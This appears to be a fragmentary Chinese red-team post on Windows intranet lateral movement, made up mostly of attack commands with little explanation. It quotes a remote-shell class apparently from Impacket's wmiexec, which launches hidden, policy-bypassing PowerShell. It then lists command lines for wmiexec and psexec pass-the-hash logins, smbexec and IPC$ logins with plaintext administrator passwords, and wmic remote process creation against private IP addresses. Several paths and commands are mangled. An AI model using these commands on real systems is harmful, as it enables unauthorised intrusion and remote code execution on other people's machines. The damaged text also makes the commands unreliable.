『红蓝对抗』内网横向移动方法大全之不是很全

class RemoteShell(cmd.Cmd):    def __init__(self, share, win32Process, smbConnection, shell_type, silentCommand=False):        cmd.Cmd.__init__(self)        self.__share = share        self.__output = '\' + OUTPUT_FILENAME        self.__outputBuffer = str('')        self.__shell = 'cmd.exe /Q /c '        self.__shell_type = shell_type        self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc '        self.__win32Process = win32Process        self.__transferClient = smbConnection        self.__silentCommand = silentCommand        self.__pwd = str('C:\')        self.__noOutput = False        self.intro = '[!] Launching semi-interactive shell - Careful what you executen[!] Press help for extra shell commands'        # We don't wanna deal with timeouts from now on.        if self.__transferClient is not None:            self.__transferClient.setTimeout(100000)            self.do_cd('\')        else:            self.__noOutput = True        # If the user wants to just execute a command without cmd.exe, set raw command and set no output        if self.__silentCommand is True:            self.__shell = ''

python wmiexec.py -hashes 00000000000000000000000000000000:3008c87294511142799dca1191e69a0f ./administrator@192.168.237.176 "whoami"

python psexec.py -hashes :3008c87294511142799dca1191e69a0f ./administrator@192.168.237.176

python smbexec.py ./administrator:admin123@192.168.237.176

net use \191.168.237.176ipc$ "admin123" /user:"Administrator"

wmic /node:172.20.10.7 /user:administrator /password:admin!@2022  process call create "cmd.exe /c ipconfig>c:123.txt"

nter-PSSession -ComputerName TEST03